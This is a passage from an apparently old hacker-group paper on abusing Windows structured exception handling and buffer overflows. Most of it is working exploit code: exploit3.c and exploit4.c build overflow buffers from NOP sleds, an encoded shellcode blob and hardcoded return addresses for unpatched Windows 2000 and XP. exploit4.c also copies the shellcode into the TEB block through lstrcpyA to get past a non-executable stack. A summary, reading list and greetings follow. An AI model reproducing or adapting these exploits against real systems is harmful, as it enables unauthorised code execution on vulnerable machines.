"/x66/x81/xeb/xa0/x01"  //sub bx, 0x1A0"/xff/xe3";             //jmp bx          /* WIN2000, WINXP * Current stack pointer-based addressing */char minicode[]="/x89/xe0"           //mov eax, esp"/x66/x05/xe4/x03"   //add ax, 0x3e4"/xff/xe0";          //jmp eaxint main(int argc, char *argv[]){char *bufExe[3];char buf[700];int i;char *ptr = buf;memset(buf, 0, sizeof(buf));bufExe[0] = "vuln.exe";bufExe[2] = NULL;strcpy(buf, "/x90/x90/x90/x90");strcat(buf, shellcode);                  for(i=sizeof(shellcode);i<416;i++)strcat(buf, "/x90");                   *(unsigned long *)&buf[416] = JUMP;*(unsigned long *)&buf[420] = RET;strcat(buf, "/x90/x90/x90/x90");strcat(buf, minicode);bufExe[1] = buf;execve(bufExe[0],bufExe,NULL);return 0;}--------------------------------exploit3.c-------------------------------Of course there is also a posibility to use EIP to address the shellcode.Just use this trick:  jmp a  b:pop ebx    <--- now, the EIP value is in the EBX register  //code       <--- here place your code (sub or add, and than jump)  a:call b@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&>&>&<&><&>&<>&<>&<&><&>666[***exploit4.c]666<&><&>&<>&<>&<&><&>&<&<&+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++                       (execution in TEB block)The last method is very interesting because if the stack was configured toforbid the execution of code that is placed on it, it will bypass it. How?All the details are in my paper [1] but now I write only the general concept.In TEB blocks there are some free locations, that are not used.For example, starting from 0x7FFDE1BC there is a buffer containing only NULL bytes, which we can overwrite. So the vuln.exe's buffer should look like the following:                                                                       [NOPs][shellcode][NOP][jump 6][call ebx, pop-pop-ret][NOP][BUF_ADDR][TEB][TEB][JUMP lstrcpyA]where:BUF_ADR         --> the address of the buffer with shellcode placed on the stack (address)TEB             --> the address in the TEB block where we copy our shellcode and                     the return address for lstrcpyA (so the TEB block either ;])JUMP lstrcpyA   --> a jump to a funtion that copies data (lstrcpyA, lstrcatA and so on)--------------------------------exploit4.c-------------------------------#include <stdio.h>#include <stdlib.h>#include <windows.h>#define RET 0x79392C0B   //jmp ebx, pop-pop-ret#define JUMP 0x909006EB//NOTE: DELETE needless//For Win2000 and XP Unpatchedchar minicode[]="/xb8/x5C/xDF/x35/x79"   //mov eax, STRCPY_FUNC  <-- the lstrcpyA's address"/x66/x81/xeb/x9f/x01"   //sub bx, 190           <-- EBX should point to the NOP sledge before shellcode"/x53"                   //push ebx              <-- push the address of buffer on the stack   "/x68/xbc/xe1/xfd/x7f"   //push TEB              <-- copy to 0x7FFDE1BC"/x68/xbc/xe1/xfd/x7f"   //push TEB              <-- and return to 0x7FFDE1BC"/xff/xe0";              //jmp eax               <-- jump to lstrcpyA//For Win2000, XP SP0-1char minicode[]="/x89/xe3"               //mov ebx, esp"/x66/x81/xc3/xe4/x03"   //add bx, 0x3e4         <-- EBX should point to the NOP sledge before shellcode"/xb8/x5C/xDF/x35/x79"   //mov eax, STRCPY_FUNC"/x53"                   //push ebx"/x68/xbc/xe1/xfd/x7f"   //push TEB"/x68/xbc/xe1/xfd/x7f"   //push TEB"/xff/xe0";              //jmp eaxchar shellcode[]="/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/x4f/x85""/x2f/x98/x83/xeb/xfc/xe2/xf4/xb3/x6d/x79/x98/x4f/x85/x7c/xcd/x19""/xd2/xa4/xf4/x6b/x9d/xa4/xdd/x73/x0e/x7b/x9d/x37/x84/xc5/x13/x05""/x9d/xa4/xc2/x6f/x84/xc4/x7b/x7d/xcc/xa4/xac/xc4/x84/xc1/xa9/xb0""/x79/x1e/x58/xe3/xbd/xcf/xec/x48/x44/xe0/x95/x4e/x42/xc4/x6a/x74""/xf9/x0b/x8c/x3a/x64/xa4/xc2/x6b/x84/xc4/xfe/xc4/x89/x64/x13/x15""/x99/x2e/x73/xc4/x81/xa4/x99/xa7/x6e/x2d/xa9/x8f/xda/x71/xc5/x14""/x47/x27/x98/x11/xef/x1f/xc1/x2b/x0e/x36/x13/x14/x89/xa4/xc3/x53""/x0e/x34/x13/x14/x8d/x7c/xf0/xc1/xcb/x21/x74/xb0/x53/xa6/x5f/xce""/x69/x2f/x99/x4f/x85/x78/xce/x1c/x0c/xca/x70/x68/x85/x2f/x98/xdf""/x84/x2f/x98/xf9/x9c/x37/x7f/xeb/x9c/x5f/x71/xaa/xcc/xa9/xd1/xeb""/x9f/x5f/x5f/xeb/x28/x01/x71/x96/x8c/xda/x35/x84/x68/xd3/xa3/x18""/xd6/x1d/xc7/x7c/xb7/x2f/xc3/xc2/xce/x0f/xc9/xb0/x52/xa6/x47/xc6""/x46/xa2/xed/x5b/xef/x28/xc1/x1e/xd6/xd0/xac/xc0/x7a/x7a/x9c/x16""/x0c/x2b/x16/xad/x77/x04/xbf/x1b/x7a/x18/x67/x1a/xb5/x1e/x58/x1f""/xd5/x7f/xc8/x0f/xd5/x6f/xc8/xb0/xd0/x03/x11/x88/xb4/xf4/xcb/x1c""/xed/x2d/x98/x5e/xd9/xa6/x78/x25/x95/x7f/xcf/xb0/xd0/x0b/xcb/x18""/x7a/x7a/xb0/x1c/xd1/x78/x67/x1a/xa5/xa6/x5f/x27/xc6/x62/xdc/x4f""/x0c/xcc/x1f/xb5/xb4/xef/x15/x33/xa1/x83/xf2/x5a/xdc/xdc/x33/xc8""/x7f/xac/x74/x1b/x43/x6b/xbc/x5f/xc1/x49/x5f/x0b/xa1/x13/x99/x4e""/x0c/x53/xbc/x07/x0c/x53/xbc/x03/x0c/x53/xbc/x1f/x08/x6b/xbc/x5f""/xd1/x7f/xc9/x1e/xd4/x6e/xc9/x06/xd4/x7e/xcb/x1e/x7a/x5a/x98/x27""/xf7/xd1/x2b/x59/x7a/x7a/x9c/xb0/x55/xa6/x7e/xb0/xf0/x2f/xf0/xe2""/x5c/x2a/x56/xb0/xd0/x2b/x11/x8c/xef/xd0/x67/x79/x7a/xfc/x67/x3a""/x85/x47/x68/xc5/x81/x70/x67/x1a/x81/x1e/x43/x1c/x7a/xff/x98";int main(int argc, char *argv[]){char *bufExe[3];char buf[700];int i;char *ptr = buf;memset(buf, 0, sizeof(buf));bufExe[0] = "vuln.exe";bufExe[2] = NULL;strcpy(buf, "/x90/x90/x90/x90");strcat(buf, shellcode);                  for(i=sizeof(shellcode);i<416;i++)strcat(buf, "/x90");*(unsigned long *)&buf[416] = JUMP;*(unsigned long *)&buf[420] = RET;strcat(buf, "/x90");strcat(buf, minicode);bufExe[1] = buf;execve(bufExe[0],bufExe,NULL);return 0;}--------------------------------exploit4.c-------------------------------><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>                   [>>5<<]. Summary                      <>---------------------------------------------------------<In this paper, I have described the way how SEH works, how to use it andhow to abuse it :). The knowledge from this paper provides a firm basis forfurhter research concerning on bypassing /SAFESEH, /GS or the stack protectionin Windows Server 2003. In the nearest future, the DaRk-CodeRs Group (maybe itwill be me once again) will probably publish results of our research :)Stay tuned!!!All questions, suggestions, comments -> e-mail address is in the title;]><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>                [>>6<<].Further reading                  <>---------------------------------------------------------<[1]  paper: "Shellcode locations and buffer overflows in Windows" at     www.milw0rm.com/papers/205 | www.packetstormsecurity.com/shellcode/shellcode-locations.txt[2]  paper: http://mirror.href.com/thestarman/asm/2bytejumps.htm[3]  paper: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html[4]  paper: www.ngssoftware.com/papers/NISR.BlindExploitation.pdf[5]  paper: www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf[6]  book : Jack Koziol - "The Shellcoder's Handbook"[7]  book : Eldad Eilam - "Reversing: Secrets of Reverse Engineering"><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><>                 [>>7<<]. Greetz'                        <>---------------------------------------------------------<Hard case :) Generally, I thank all people, I know (eeemmm, and i like of course ;]).You all have contributed something to this paper and to my life;]. Particularly:Ola N. (for everything: thanks baby :*), Mr. Piotr S. (for technical support (especially for provision:)) and for everything else), Pawel J. (for friendship), 0in(for enforced me to write about fuckin' SEH), c0ndemned, Die_Angel, m4r1usz, Katharsis(for "mental" support :)),e.wiZz(hope you're doin' better and keep on fighting), Dobosz (for Steam's account), wilm@n, Konrad CZ. Stay secure